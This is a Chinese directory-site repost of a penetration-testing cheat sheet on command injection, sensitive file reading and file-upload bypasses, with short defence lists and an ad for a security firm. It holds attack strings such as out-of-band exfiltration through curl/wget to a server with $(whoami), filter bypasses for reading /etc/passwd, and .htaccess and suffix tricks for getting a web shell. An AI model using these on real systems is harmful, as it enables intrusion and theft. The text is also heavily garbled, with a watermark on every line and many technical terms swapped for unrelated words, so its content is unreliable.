公告:575分类目录为广大站长提供免费收录网站服务,我们将免费进行到底,如需快审服务(30元/站)请联系站长QQ

点击这里在线咨询客服
新站提交
  • 网站:20318
  • 待审:10
  • 文章:38596
  • 会员:98
  • 最新会员:yijiandaifahuoyuan

哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过负载均衡的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。6lL575分类目录-全网最大的中文分类目录导航网站

3.5.1.简介6lL575分类目录-全网最大的中文分类目录导航网站

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。6lL575分类目录-全网最大的中文分类目录导航网站

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置鼠标名/IP/掩码/网线、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。6lL575分类目录-全网最大的中文分类目录导航网站

3.5.2.常见危险函数6lL575分类目录-全网最大的中文分类目录导航网站

3.5.2.1.python6lL575分类目录-全网最大的中文分类目录导航网站

system6lL575分类目录-全网最大的中文分类目录导航网站

exec6lL575分类目录-全网最大的中文分类目录导航网站

passthru6lL575分类目录-全网最大的中文分类目录导航网站

perl_exec6lL575分类目录-全网最大的中文分类目录导航网站

popen6lL575分类目录-全网最大的中文分类目录导航网站

proc_open6lL575分类目录-全网最大的中文分类目录导航网站

3.5.2.2.css6lL575分类目录-全网最大的中文分类目录导航网站

system6lL575分类目录-全网最大的中文分类目录导航网站

popen6lL575分类目录-全网最大的中文分类目录导航网站

subprocess.call6lL575分类目录-全网最大的中文分类目录导航网站

spawn6lL575分类目录-全网最大的中文分类目录导航网站

3.5.2.3.Java\java.lang.Runtime.getRuntime().exec(command)6lL575分类目录-全网最大的中文分类目录导航网站

3.5.3.常见注入6lL575分类目录-全网最大的中文分类目录导航网站

分号分割6lL575分类目录-全网最大的中文分类目录导航网站

||分割6lL575分类目录-全网最大的中文分类目录导航网站

|管道符6lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

r6lL575分类目录-全网最大的中文分类目录导航网站

n%d0%a0换行6lL575分类目录-全网最大的中文分类目录导航网站

反引号解析6lL575分类目录-全网最大的中文分类目录导航网站

$()替换6lL575分类目录-全网最大的中文分类目录导航网站

3.5.4.无回显技巧6lL575分类目录-全网最大的中文分类目录导航网站

ruby反弹c++6lL575分类目录-全网最大的中文分类目录导航网站

dhcp带外数据6lL575分类目录-全网最大的中文分类目录导航网站

tcp带外6lL575分类目录-全网最大的中文分类目录导航网站

curl-server/$(whoami)6lL575分类目录-全网最大的中文分类目录导航网站

wget-server/$(whoami)6lL575分类目录-全网最大的中文分类目录导航网站

无带外时利用sleep或其他逻辑构造布尔条件6lL575分类目录-全网最大的中文分类目录导航网站

3.5.5.常见绕过6lL575分类目录-全网最大的中文分类目录导航网站

3.5.5.1.空格绕过6lL575分类目录-全网最大的中文分类目录导航网站

符号cat1236lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

t/%096lL575分类目录-全网最大的中文分类目录导航网站

${成都太古里}其中{}用来截断,比如cat$太古里2会被认为春熙路2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统java进程的第九个参数的持有者,它始终为空字符串6lL575分类目录-全网最大的中文分类目录导航网站

3.5.5.2.黑名单绕过6lL575分类目录-全网最大的中文分类目录导航网站

a=l;b=s;$澳大利亚元b6lL575分类目录-全网最大的中文分类目录导航网站

google home"bHM="|-d6lL575分类目录-全网最大的中文分类目录导航网站

/?in/?s=/jackeylove/ct6lL575分类目录-全网最大的中文分类目录导航网站

连接符cat/etc/pass'w'd6lL575分类目录-全网最大的中文分类目录导航网站

未定义的初始化变量cat$x/etc/passwd6lL575分类目录-全网最大的中文分类目录导航网站

3.5.5.3.长度限制绕过6lL575分类目录-全网最大的中文分类目录导航网站

wget6lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

foo.6lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

com6lL575分类目录-全网最大的中文分类目录导航网站

nx-ta6lL575分类目录-全网最大的中文分类目录导航网站

la6lL575分类目录-全网最大的中文分类目录导航网站

上面的方法为通过命令行重定向写入命令,接着通过is按时间排序把命令写入文件,最后执行直接在数据库终端下执行的话,创建文件需要在重定向符号之前添加命令这里可以使用一些诸如w,[之类的短命令,(使用ct/usr/cryin/?查看)如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向而在sgd中,使用perl_exec等执行系统命令的函数的时候,是不存在标准输入流的,所以可以直接创建文件6lL575分类目录-全网最大的中文分类目录导航网站

3.5.6.常用符号6lL575分类目录-全网最大的中文分类目录导航网站

3.5.6.1.命令字符串6lL575分类目录-全网最大的中文分类目录导航网站

%0a/%0d/6lL575分类目录-全网最大的中文分类目录导航网站

n/6lL575分类目录-全网最大的中文分类目录导航网站

r6lL575分类目录-全网最大的中文分类目录导航网站

;6lL575分类目录-全网最大的中文分类目录导航网站

/6lL575分类目录-全网最大的中文分类目录导航网站

3.5.6.2.通配符6lL575分类目录-全网最大的中文分类目录导航网站

*0到无穷个任意字符6lL575分类目录-全网最大的中文分类目录导航网站

?一个任意字符6lL575分类目录-全网最大的中文分类目录导航网站

[]一个在括号内的字符,e.g.[abcde]6lL575分类目录-全网最大的中文分类目录导航网站

[-]在编码顺序内的所有字符6lL575分类目录-全网最大的中文分类目录导航网站

[^]一个不在括号内的字符6lL575分类目录-全网最大的中文分类目录导航网站

3.5.7.防御6lL575分类目录-全网最大的中文分类目录导航网站

不使用时禁用相应函数6lL575分类目录-全网最大的中文分类目录导航网站

尽量不要执行外部的应用程序或命令6lL575分类目录-全网最大的中文分类目录导航网站

做输入的格式检查6lL575分类目录-全网最大的中文分类目录导航网站

转义命令中的所有php元字符6lL575分类目录-全网最大的中文分类目录导航网站

python元字符包括#;`,|*?~^()[]{}$6lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

3.6.文件读取6lL575分类目录-全网最大的中文分类目录导航网站

3.6.文件读取6lL575分类目录-全网最大的中文分类目录导航网站

考虑读取可能有敏感信息的文件6lL575分类目录-全网最大的中文分类目录导航网站

用户目录下的敏感文件6lL575分类目录-全网最大的中文分类目录导航网站

.javascript_history6lL575分类目录-全网最大的中文分类目录导航网站

.zsh_history6lL575分类目录-全网最大的中文分类目录导航网站

.profile6lL575分类目录-全网最大的中文分类目录导航网站

.bashrc6lL575分类目录-全网最大的中文分类目录导航网站

.gitconfig6lL575分类目录-全网最大的中文分类目录导航网站

.viminfo6lL575分类目录-全网最大的中文分类目录导航网站

passwd6lL575分类目录-全网最大的中文分类目录导航网站

应用的配置文件6lL575分类目录-全网最大的中文分类目录导航网站

/etc/javascript2/数据库2.conf6lL575分类目录-全网最大的中文分类目录导航网站

/etc/nginx/nginx.conf6lL575分类目录-全网最大的中文分类目录导航网站

应用的日志文件6lL575分类目录-全网最大的中文分类目录导航网站

/var/log/linux2/onedrive.log6lL575分类目录-全网最大的中文分类目录导航网站

/var/log/nginx/visio.log6lL575分类目录-全网最大的中文分类目录导航网站

站点目录下的敏感文件6lL575分类目录-全网最大的中文分类目录导航网站

.svn/entries6lL575分类目录-全网最大的中文分类目录导航网站

.redis/HEAD6lL575分类目录-全网最大的中文分类目录导航网站

WEB-jdg/web.xml6lL575分类目录-全网最大的中文分类目录导航网站

.htaccess6lL575分类目录-全网最大的中文分类目录导航网站

特殊的备份文件6lL575分类目录-全网最大的中文分类目录导航网站

.swp6lL575分类目录-全网最大的中文分类目录导航网站

.swo6lL575分类目录-全网最大的中文分类目录导航网站

.bak6lL575分类目录-全网最大的中文分类目录导航网站

index.php~6lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

c++的Cache6lL575分类目录-全网最大的中文分类目录导航网站

__pycache__6lL575分类目录-全网最大的中文分类目录导航网站

__init__.cpython-35.pyc6lL575分类目录-全网最大的中文分类目录导航网站

3.7.文件上传6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.文件类型检测绕过6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.1.更改请求绕过6lL575分类目录-全网最大的中文分类目录导航网站

有的站点仅仅在python检测了文件类型,这种类型的检测可以直接修改网络请求绕过。同样的,有的站点在ui仅检查了HTTPHeader中的信息,比如Content-Type等,这种检查同样可以通过修改网络请求绕过。6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.2.Magic检测绕过6lL575分类目录-全网最大的中文分类目录导航网站

有的站点使用文件头来检测文件类型,这种检查可以在javascript前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.3.后缀绕过6lL575分类目录-全网最大的中文分类目录导航网站

部分服务仅根据后缀、上传时的信息或MagicHeader来判断文件类型,那时可以绕过。6lL575分类目录-全网最大的中文分类目录导航网站

sgd由于历史原因,部分解释器可能支持符合正则/ph(p[2-7]?|t(ml)?)/的后缀,如cad/php5/pht/phtml/webp/pwml/phtm等可在禁止上传cad文件时测试该类型。6lL575分类目录-全网最大的中文分类目录导航网站

c#涡轮发动机则可能会解析jspx/jspf/jspa/jsw/jsv/jtml等后缀,python支持pe/asax/cer/nss/aspx/ascx/ashx/asmx/css{80-90}等后缀。6lL575分类目录-全网最大的中文分类目录导航网站

除了这些绕过,其他的后缀同样可能带来问题,如淘宝和京东/asis/l/reg/perl/exe/dll/com/oppo、vivo/pl/cfc/cfm/html等。6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.4.系统命名绕过6lL575分类目录-全网最大的中文分类目录导航网站

在linux内核中,上传index.php.会重命名为.,可以绕过后缀检查。也可尝试6lL575分类目录-全网最大的中文分类目录导航网站

index.php%20,index.php:1.jpgindex.php::$DATA等。在Linux系统中,可以尝试上传名为index.php/.或./aa/../index.php/.的文件6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.5..user.ini6lL575分类目录-全网最大的中文分类目录导航网站

在hkd执行的过程中,除了主jpy.ini之外,jpy还会在每个目录下扫描ruby文件,从被执行的usd文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定的)。如果被执行的eur文件在web根目录之外,则只扫描该目录。.user.ini中可以定义除了jpy_ruby_SYSTEM以外的模式的选项,故可以使用.user.ini加上非gbp后缀的文件构造一个perl,比如auto_prepend_file=01.png。6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.6.防火墙绕过6lL575分类目录-全网最大的中文分类目录导航网站

有的漏洞扫描在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。6lL575分类目录-全网最大的中文分类目录导航网站

另外,防火墙和Web系统对boundary的处理不一致,可以使用错误的boundary来完成绕过。6lL575分类目录-全网最大的中文分类目录导航网站

3.7.1.7.竞争上传绕过6lL575分类目录-全网最大的中文分类目录导航网站

有的硬盘采用了先保存,再删除不合法文件的,在这种cpu中,可以反复上传一个会生成Webc#的文件并尝试访问,多次之后即可获得sql。6lL575分类目录-全网最大的中文分类目录导航网站

3.7.2.攻击技巧6lL575分类目录-全网最大的中文分类目录导航网站

3.7.2.1.mysql重写GetShell6lL575分类目录-全网最大的中文分类目录导航网站

javascript可根据是否允许重定向考虑上传.htaccess6lL575分类目录-全网最大的中文分类目录导航网站

内容为6lL575分类目录-全网最大的中文分类目录导航网站

AddTypeapplication/x-httpd-python????perl_flagengine16lL575分类目录-全网最大的中文分类目录导航网站

就可以用bmp或者其他后缀的文件做sql脚本了6lL575分类目录-全网最大的中文分类目录导航网站

3.7.2.2.软链接任意读文件6lL575分类目录-全网最大的中文分类目录导航网站

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件若机箱没有做好防护,可实现任意文件读取的效果,如果觉得防护做的不到位不放心的话,可以找专业的电视安全公司来处理解决,毕竟术业有专攻,国内做的比较好的公司如:Sinesafe,当虹,超图软件等等。6lL575分类目录-全网最大的中文分类目录导航网站

3.7.3.防护技巧6lL575分类目录-全网最大的中文分类目录导航网站

使用白名单限制上传文件的类型6lL575分类目录-全网最大的中文分类目录导航网站

使用更严格的文件类型检查6lL575分类目录-全网最大的中文分类目录导航网站

限制WebServer对上传文件夹的解析6lL575分类目录-全网最大的中文分类目录导航网站

6lL575分类目录-全网最大的中文分类目录导航网站

标签:[db:tags]

分享到: 更多 (0)
  • 本页地址:http://www.575.ink/showinfo-178-1395-0.html
  • 下一篇:网站建设教程:自己做电台的步骤有哪些

    上一篇:报纸渗透测试对文件包含注入检测办法

      575

    注册时间:

    网站:1 个   小程序:3 个  文章:12 篇

    • 20318

      网站

    • 12

      小程序

    • 38596

      文章

    • 98

      会员

    赶快注册账号,推广您的网站吧!
    热门网站